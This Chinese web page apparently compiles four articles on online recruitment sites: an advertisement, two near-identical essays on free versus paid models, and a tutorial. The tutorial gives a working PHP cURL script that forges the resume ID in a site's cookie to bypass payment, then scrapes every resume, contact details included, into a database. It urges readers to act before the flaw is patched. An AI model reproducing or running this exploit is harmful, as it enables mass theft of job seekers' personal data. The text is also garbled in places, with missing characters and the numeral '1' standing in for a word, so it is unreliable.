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2019年05月15日 来源:

1 : 中国电商招聘,招聘电商人材不再难、永久免费

互联的出现给很多行业的发展带来了契机,电子商务领域开始走进大家的视野,短短几年就进入了高速发展的阶段。春节过后,全国各地迎来了大型招聘的高峰期,访问招聘市场调查发现,今年人材需求量最多的就是电商领域。但是很多电商企业的招聘工作进行的其实不理想。

某人材市场的主管表示:从事电商领域的工作,不同求职者之间工作能力有很大差距,电商领域作为新兴的互联平台,由于工作性质的缘由,它的招聘工作仅依托人材市场很难完成,还是寻求1个企业和电商人材可以直接交换的络渠道最为适合。中国电商招聘就是很多电商人材常去的渠道。

为此对中国电商招聘进行了初步的了解,据该站的负责人表示,中国电商招聘确切是在这样的情势下设立的,从站推出到现在,已帮助很多企业招聘到了适合的电商人材,不管是招聘工作的效率还是招聘人员的素质,与普通的人材市场招聘相比,络招聘都有很大的优势。

集中性是中国电商招聘最大的特点,它专门针对各类电子商务企业提供专业的人才招聘服务。也是我国目前最具影响力的大型专业电子商务人材行业站。它采取最人性化的信息自动匹配系统,解决了很多企业1人难求的招聘局面,很多电子商务人才也通过该站取得了自己理想的工作,可谓是实现了共赢。

纵观国内电子商务领域的发展,目前已衍生出了许多运营模式,很多传统行业也纷纭加入电商的阵营,意图给本身企业带来新的经济增长点。电子商务领域对人材的专业性要求很高,站客服、美工设计、推行支持等都是电商领域刚需的用工需求,在中国电商招聘雄鹰的首页上都得到了详实的体现。

不但如此,针对不同行业的企业实际需要,中国电商招聘也特别设立了房产建材、食品医药等行业分类,这类人材和企业双向信息展现的模式充分发挥了互联的快速、便捷、高效、资源同享的优势。

通过中国电商招聘进行人才招聘工作,不但快速的招聘到了企业所需人材,还在无形中提升了企业的形象和知名度。这是1家注册企业的切身感受;人事负责人还告知他选择的中国电商招聘站为永久免费的招聘站,址: 。

2 : 如何免费收集人才的简历信息

上招聘行业的主要产品是资讯,利润的主要来源是需要招聘人材的企业消费者,供应商是需要找工作的求职者。大容量的简历库是人才竟争企业客户的资本,也是人材站不可缺少的资源。运营多年的人才站,经过量年的运营推行,具有丰富的人材资源,占据着市场主导地位。所以1个成功的人材站,必须具有大量的简历数据跟企业职位信息,才能吸引到企业客户及人材注册简历,构成1个好的良性循环。

由于人材站的主要客户是企业,为企业做好宣扬服务,所以人材的企业信息可以轻易搜集。但人材的简历信息是收费才能查看的内容,简历的基本信息如:能力,工作经验,学历等,企业用户也能够免费查看,但主要的联系信息,就必须付费才能查看。1般的收集软件只能搜集到部分简历信息,其实不能有效地收集到完全的简历信息。某些能免费查看简历信息的人才站,1般都是比较小型的人材站,营利点不在人材相干服务方面,所以简历资料比较少,就算可以收集也没多大用途。

通过本文所说的方法,利用站的Cookie漏洞,使用1定的技能,跳过人材的收费程序,免费查看到任意简历信息(包括简历详细联系方式)。而且搜集的对象很多都是比较大型的人材,上面的人才信息1般都是几10万以上,多是部份站的程序员对服务器HTTP协议低层通讯原理不熟习,Cookie使用不当,才会引发这类漏洞。

现在我们就以 (暂不公然站,可参看程序包内的址)为例,说明1下如何收集收费的简历信息。最后放上整套程序包,包括自动收集,数据分析转存到数据库,快速地搜集到大量的简历数据库,为你的人材站建立1个优秀的7位数字的简历数据库。

详细操作进程:

1、首先我们先注册1个个人帐号,随便填就能够了,这个不重要。

2、然后在个人求职管理中心里面,我们打开简历预览页面,把这个当前页面的地址(URL)复制出来。?url=PersonResumeLoad

3、截取Cookie字串:

运行

这个软件,就能够为我们截取Cookie字串等信息。运行WSockExpert,打开选择IE进程,然后在IE阅读器里刷新1下页面,就能够在WSockExpert里看到IE与站的通讯数据内容,找到Cookie:这1行后,把Cookie:后面的的字符串复制出来,以备后用。下图红色圈圈部份就是简历ID号位置了。

4、写个1PHP(p)页面,程序代码以下:

File:p

error_reporting(E_ALL ~E_NOTICE);

$referer = ?url=PersonResumeLoadseeFlag=1;

$url = ?url=PersonResumeLoad;

$cookie = JSESSIONID=6; person_username=asdfasdf; person_balnklist; person=id%3D{$_GET['id']}%7Epass%3D2%7Elogindate%3D2008⑶⑴6+06%3A53%7Euseraccounts%3Demkcuf%7Euserpassword%3Demkcuf%7Eresumetype%3D0%7Eopen%3D1%2C1%2C1%2C1%7Emenu%3D1%2C2%2C3%2C4%7E;

$curl=curl_init();

curl_setopt($curl,CURLOPT_HEADER,1);

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

curl_setopt($curl,CURLOPT_REFERER,$referer);

curl_setopt($curl,CURLOPT_URL,$url);

if(isset($useproxy) !empty($proxy))

curl_setopt($curl,CURLOPT_PROXY,$proxy);

curl_setopt($curl,CURLOPT_COOKIE,$cookie);

$content=curl_exec($curl);

echo $content;

?

免费查看简历的重点部份就是在$cookie串里面的{$_GET['id']}这个位置,这里是人材站个人会员登陆后的简历ID保存位置,只要修改了这个ID值,便可让站系统误以为是这个ID对应的简历是属于当前登陆帐号的,你就能够不需要知道另的简历登陆帐号,而可以查看任意简历信息了。

把这个页面放到WEB服务器或虚拟主机上面,通过访问 这个页面的址,其中12345表是简历ID(可以是任意简历的ID),该程序就能够帮你修改Cookie里的ID值为12345,实现免费查看这个ID为12345简历信息了,一样道理,修改其它ID值,就能够查看其它简历信息罗。

以上方法测试成功后,刚才你用WsockExpert看到的Cookie字串里的ID值,暂时就是这个人才站的最大简历ID值,我们就能够通过写个循环程序(get_p),从大到少,读取这个站的所有的简历数据,并保存到HTML页面,然后通过分析HTML页面的字段,把相干简历信息转换进数据库里面,就能够利用到你的人才上面,丰富人才的简历资源。固然了,要是用VC++写1个多线程的程序来搜集,就能够更快的完成任务。由于PHP是单线程的,但PHP调试跟代码编写都简单,比较容易明白理解;你也能够多开几个窗口来加快搜集的速度。

5、简历的更新,你可能认为,收集了这些简历信息,1段时间后就会失效了,没多大用途,需要能随时更新的才可以。所以,豁出去了,把更新方案都帮你想好了,第1次把所有简历都搜集下来后,保存到1个数据库里,别把简历的ID修改了,只需要到这个人材上面申请1个正式的企业帐号(花1点钱),以后就能够通过企业功能,查看简历的信息(但不包括联系方式),这样查看是不需要扣钱或限额的,然后对应ID号,把原来搜集的简历信息,除联系方式部分,重新更新1下就能够了。1般简历的可能会更新的部份就是工作经验或求职意向这1小部份内容,其它内容是很少改变的有哪几个人没事每天换号码跟Email地址的?对吧!

相干程序说明:

p 用于测试免费查看简历功能

get_p 通过循环读取站的简历信息,并整页保存到当前目录下,需要打开这个文件,修改1下 $maxid = xxx;这1行,xxx可以填写上面所说的Cookie字串里的新注册的帐号对应的简历ID号。也能够通过命令行参数:

c:php get_p 12345

这类方式指定最大ID值

get_p 将get_p取得的简历页面,分析出数据库字段,并保存到数据库里

l p要保存的数据库记录表结构,有3个表

[person] 保存简历基本信息,联系方法等

[school] 保存简历的学历信息

[work] 保存简历的工作经验信息

p 数据库连接接口,及基本函数库。使用时,需要修改1下你的数据服务器帐号及数据库字,打开文件后顶部有注释。

以上所有程序,已打包上传到搜珍

本文所说方法,只能用于学习研究用处,请匆用于非法目的。否则后果自负了。由于互联的信息传播快,相信本文被收集的人材站看到后,这个方法用不长了,所以要尽快动手哦,呵呵。

3 : 络招聘免费与收费“路向何方”

在互联的发展浪潮中,招聘站已历经10余年的发展历史,目前智联、前程无忧照旧霸居于行业领头地位。想必1些求职者依悉记得当年的景像,公交车、报纸、招聘会现场这几家招聘站狂轰烂炸式的广告如潮水1般。在当时因络普及率还不是很高,通过络求职还算是件时兴的事情。很多求职者对招聘站的出现既抱有欣喜也有狐疑,欣喜在于招聘站的出现完全的颠覆了传统的挤招聘会、看报纸、找中介的求职方式,炎炎夏日不再必满头是汗挤招聘会去找工作,求职机遇不再因距离的遥远而1声叹息,所有的求职者找工作程序就是在家点点鼠标便可完成,唯1所要做的即是在站上注册1封简历便可,剩下的只需要点击发送便可完成。但是必竟是新生事物,对能不能找到工作,大多数求职者还是存在怀疑,常常是抱着试试看的态度。不过络招聘终究还是凭仗着传统招聘方式无可比拟的优势很快获得大多数企业及求职者的认可,在互联世界中迅猛发展起来。

10年前左右,有过挤招聘会经历的求职者肯定还依悉记得那时参加招聘会求职是需要收费的,不是想进就可以进的。伴随着络招聘等新生招聘情势的冲击目前现场招聘会已基本转向于单向收费即向企业收费,对求职者免费。传统的招聘会收费模式趋于向络招聘的收费模式靠拢采取单向收费模式。不过招聘站发展至今,其盈利模式照旧保持于此,模式上没有过量的创新与变革,直至近两年分类信息站高调突起,其招聘版块打着免费招人材的金字招牌对传统站的盈利模式产生了某种程度上的冲击,与此同时也让很多人有了新的认识、新的兴奋点。原来招聘服务也是可以避免费的,分类信息站仰仗巨额的广告投放很快击起招聘市场的浪花。但是用户很快又发现免费听着很美,但是现实还是现实,满怀期望的注册完企业信息坐等免费服务开通的同时,站营销工作人员地毯式的收费服务推荐从天而至,让企业主再也没法安静下来。前期的巨额广告投入本钱,站必须想尽办法盈利否则将无以为继,这也是营销如狂风雨1般的根本缘由所在,即运营商竞争的巨额本钱与盈利模式的单1化没有根本解决,免费与收费间的平衡问题没有根本解决,免费终究也就变的不在那末美,好似成了1个诱饵。

南京壹招聘()的相干人士认为分类信息免费口号的提出,对站运营进程中的传统式思惟有了新的冲击,有了更深的思考。这里不能不提360杀素软件,其软件免费模式让360杀毒软件很快占据了国内众多电脑用户的系统,用户对免费的诱惑想抗拒都难。因此可知互联世界的将来,要想快速占据市场,免费极有可能成为吸引民用户的必不可少要件之1。用免费到达迅速圈地占据份额的目标,再对产品及服务进行细耕以寻求利润的突破点。目前免费概念极有可能再次冲击到络招聘市场,只是目前站盈利与免费之间照旧是难解之题,大家更多的还是在摸索中。对招聘站的发展终及模式最有可能演变为免费与收费共存的模式,向用户免费提供可充分满足其需求的基础服务,与此同时以创新的思惟方式向流量、向品牌、向更高端服务要效益,络招聘市场在现今互联发展的新情势之下必将绽放新的生命之花!

4 : 招聘站免费与收费之争,谁才是王道!

在互联的发展浪潮中,招聘站已历经10余年的发展历史,目前智联、前程无忧照旧霸居于行业领头地位。想必1些求职者依悉记得当年的景像,公交车、报纸、招聘会现场这几家招聘站狂轰烂炸式的广告如潮水1般。在当时因络普及率还不是很高,通过络求职还算是件时兴的事情。很多求职者对招聘站的出现既抱有欣喜也有狐疑,欣喜在于招聘站的出现完全的颠覆了传统的挤招聘会、看报纸、找中介的求职方式,炎炎夏日不再必满头是汗挤招聘会去找工作,求职机遇不再因距离的遥远而1声叹息,所有的求职者找工作程序就是在家点点鼠标便可完成,唯1所要做的即是在站上注册1封简历便可,剩下的只需要点击发送便可完成。但是必竟是新生事物,对能不能找到工作,大多数求职者还是存在怀疑,常常是抱着试试看的态度。不过络招聘终究还是仰仗着传统招聘方式无可比拟的优势很快取得大多数企业及求职者的认可,在互联世界中迅猛发展起来。

10年前左右,有过挤招聘会经历的求职者肯定还依悉记得那时参加招聘会求职是需要收费的,不是想进就可以进的。伴随着络招聘等新生招聘情势的冲击目前现场招聘会已基本转向于单向收费即向企业收费,对求职者免费。传统的招聘会收费模式趋于向络招聘的收费模式靠拢采取单向收费模式。不过招聘站发展至今,其盈利模式照旧保持于此,模式上没有过量的创新与变革,直至近两年分类信息站高调突起,其招聘版块打着免费招人材的金字招牌对传统站的盈利模式产生了某种程度上的冲击,与此同时也让很多人有了新的认识、新的兴奋点。原来招聘服务也是可以避免费的,分类信息站凭仗巨额的广告投放很快击起招聘市场的浪花。但是用户很快又发现免费听着很美,但是现实还是现实,满怀期望的注册完企业信息坐等免费服务开通的同时,站营销工作人员地毯式的收费服务推荐从天而至,让企业主再也没法安静下来。前期的巨额广告投入本钱,站必须想尽办法盈利否则将无以为继,这也是营销如狂风雨1般的根本缘由所在,即运营商竞争的巨额本钱与盈利模式的单1化没有根本解决,免费与收费间的平衡问题没有根本解决,免费终究也就变的不在那末美,好似成了1个钓饵。

南京壹招聘()的相干人士认为分类信息免费口号的提出,对站运营进程中的传统式思维有了新的冲击,有了更深的思考。这里不能不提360杀素软件,其软件免费模式让360杀毒软件很快占据了国内众多电脑用户的系统,用户对免费的诱惑想抗拒都难。因此可知互联世界的将来,要想快速占据市场,免费极有可能成为吸引民用户的必不可少要件之1。用免费到达迅速圈地占据份额的目标,再对产品及服务进行细耕以寻求利润的突破点。目前免费概念极有可能再次冲击到络招聘市场,只是目前站盈利与免费之间照旧是难解之题,大家更多的还是在摸索中。对招聘站的发展终及模式最有可能演化为免费与收费共存的模式,向用户免费提供可充分满足其需求的基础服务,与此同时以创新的思惟方式向流量、向品牌、向更高端服务要效益,络招聘市场在当今互联发展的新情势之下必将绽放新的生命之花!

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